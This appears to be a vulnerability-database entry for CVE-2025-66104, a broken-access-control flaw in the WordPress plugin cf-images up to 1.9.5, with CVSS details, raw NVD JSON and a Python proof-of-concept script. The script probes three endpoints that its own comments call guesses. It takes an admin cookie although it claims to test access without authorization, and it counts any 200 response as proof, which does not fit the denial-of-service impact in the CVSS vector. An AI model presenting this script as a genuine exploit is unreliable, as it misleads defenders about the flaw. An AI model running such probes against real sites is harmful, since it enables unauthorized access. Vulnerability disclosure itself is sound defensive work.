Security Vulnerability Report
中文
CVE-2025-66104 CVSS 6.5 MEDIUM

CVE-2025-66104

Published: 2025-12-18 08:16:16
Last Modified: 2026-04-28 19:35:27

Description

Missing Authorization vulnerability in Anton Vanyukov Offload, AI & Optimize with Cloudflare Images cf-images allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Offload, AI & Optimize with Cloudflare Images: from n/a through <= 1.9.5.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Offload, AI & Optimize with Cloudflare Images (cf-images) <= 1.9.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66104 PoC - WordPress cf-images Broken Access Control # Affected Plugin: Offload, AI & Optimize with Cloudflare Images <= 1.9.5 import requests import sys def exploit_cve_2025_66104(target_url, wp_admin_cookie): """ Exploitation attempt for Missing Authorization vulnerability in cf-images WordPress plugin """ # Target endpoints that may be vulnerable endpoints = [ f"{target_url}/wp-json/cf-images/v1/images", f"{target_url}/wp-json/cf-images/v1/settings", f"{target_url}/wp-json/cf-images/v1/optimize" ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Cookie': wp_admin_cookie, 'Content-Type': 'application/json' } print(f"[*] Testing CVE-2025-66104 on {target_url}") print(f"[*] Target plugin: cf-images <= 1.9.5") print(f"[*] Vulnerability: Missing Authorization / Broken Access Control\n") for endpoint in endpoints: print(f"[+] Testing endpoint: {endpoint}") try: # Attempt to access protected resources without proper authorization response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: print(f"[SUCCESS] Endpoint accessible - Possible vulnerability confirmed") print(f"Response preview: {response.text[:200]}...") elif response.status_code == 401: print(f"[BLOCKED] Authorization required") else: print(f"[INFO] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[ERROR] Request failed: {e}") print("\n[*] Note: This PoC is for educational and authorized testing purposes only") print("[*] Recommended fix: Upgrade cf-images to version > 1.9.5") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2025_66104_poc.py <target_url> <cookie>") print("Example: python cve_2025_66104_poc.py http://example.com 'wordpress_logged_in=xxx'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] exploit_cve_2025_66104(target, cookie)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66104", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:16.063", "lastModified": "2026-04-28T19:35:27.313", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Anton Vanyukov Offload, AI & Optimize with Cloudflare Images cf-images allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Offload, AI & Optimize with Cloudflare Images: from n/a through <= 1.9.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/cf-images/vulnerability/wordpress-offload-ai-optimize-with-cloudflare-images-plugin-1-9-5-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}